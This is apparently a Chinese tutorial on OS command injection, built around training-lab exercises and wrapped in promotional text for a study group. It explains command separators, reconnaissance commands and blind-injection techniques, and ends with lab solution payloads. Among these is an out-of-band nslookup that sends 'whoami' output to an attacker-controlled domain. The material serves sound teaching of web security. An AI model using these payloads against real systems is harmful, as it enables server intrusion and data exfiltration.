网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
1. 什么是操作系统命令注入
攻击者可在服务器端执行任意系统(OS)命令,获取敏感数据。通常攻击者会尝试利用系统内部的信任关系,将攻击转移到系统内的其他系统,获取更大权限。
2. 攻击流程解析
以电商网站为例,经常有查询库存余量的功能,URL如下
https://insecure-website.com/stockStatus?productID=381&storeID=29
后台在处理此URL时,调用库存查询接口,由于历史原因,接口往往需要使用shell命令调用其他系统模块。类似如下命令
stockreport.pl 381 29
.pl 是perl语言源程序文件的扩展名,参数值将作为参数传入该“脚本”进行调用库存余量查询。
如果将该脚本参数改为如下
stockreport.pl & echo aiwefwlguh & 29
&为系统命令分隔符,会将上述一条命令差分为3条系统命令,显示结果如下:
Error - productID was not provided (stockreport.pl未得到有效参数,报错)
aiwefwlguh(echo命令执行)
29: command not found (系统无法辨别的命令)
例题 1
3. 常用命令
发现漏洞后,应执行一些基础命令,查看相关系统信息。
目标 | Linux | Windows |
---|---|---|
当前用户名 | whoami | whoami |
操作系统 | uname -a | ver |
网络配置 | ifconfig | ipconfig /all |
网络连接状态 | netstat -an | netstat -an |
运行进程 | ps -ef | tasklist |
4. 命令注入盲注漏洞
有些命令注入命令,不会随响应包响应任何结果。如反馈信息页,当用户完成了反馈,点击提交后。系统允许会生成如下邮件命令发送给管理员
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
这个命令就算存在的命令注入漏洞,但是在用户web端不会有任何回显。
但我们可以尝试以下方式进行测试漏洞是否存在
利用时间延迟测试漏洞存在
& ping -c 10 127.0.0.1 &
系统若存在漏洞,将会发起10次ping命令,导致响应时间延迟。
例题2
利用输出重定向来获取结果
& whoami > /var/www/static/whoami.txt &
若命令执行成功,命令执行结果将会写入路径下的whoami.txt文件中。若能成功读取该文件,就能获取结果。
例题3
利用带外技术(OAST)获取结果
& nslookup kgji2ohoyw.web-attacker.com &
& nslookup
whoami.kgji2ohoyw.web-attacker.com &
使用命令nslookup来发起DNS对特定域名(攻击者控制的域名)的查询。通过查询访问记录获取结果
例题4、5
5. 常用注入操作符
window与类linux系统通用
- &
- &&
- |
- ||
类linux专用
- ;
- 0x0a or \n (换新行)
类linux行内命令执行
command
- $(command)
注意:命令注入要注意是否有引号等包裹,注意闭合后溢出,命令才能执行
6. 漏洞实例
1. 操作系统命令注入,简单案例 (OS command injection, simple case)
- 目标
在查看库存量功能处存在命令执行漏洞。执行whoami
命令回显当前用户
- 解题详情
productId=1&storeId=1|ps%20-ef
productId=1&storeId=1|whoami
productId=1&storeId=1;whoami
2. 带有时延的操作系统命令盲注入 (Blind OS command injection with time delays)
- 目标
在问题反馈功能处存在盲注命令执行漏洞,执行盲注
导致10s延迟
- 解题详情
name=fssa&email=123%40123.com||ping%20-c%2010%20192.168.1.1||&subject=13&message=adfs
name=fssa&email=123%40123.com;ping%20-c%2010%20192.168.1.1;&subject=13&message=adfs
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上大数据知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上大数据知识点,真正体系化!**
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新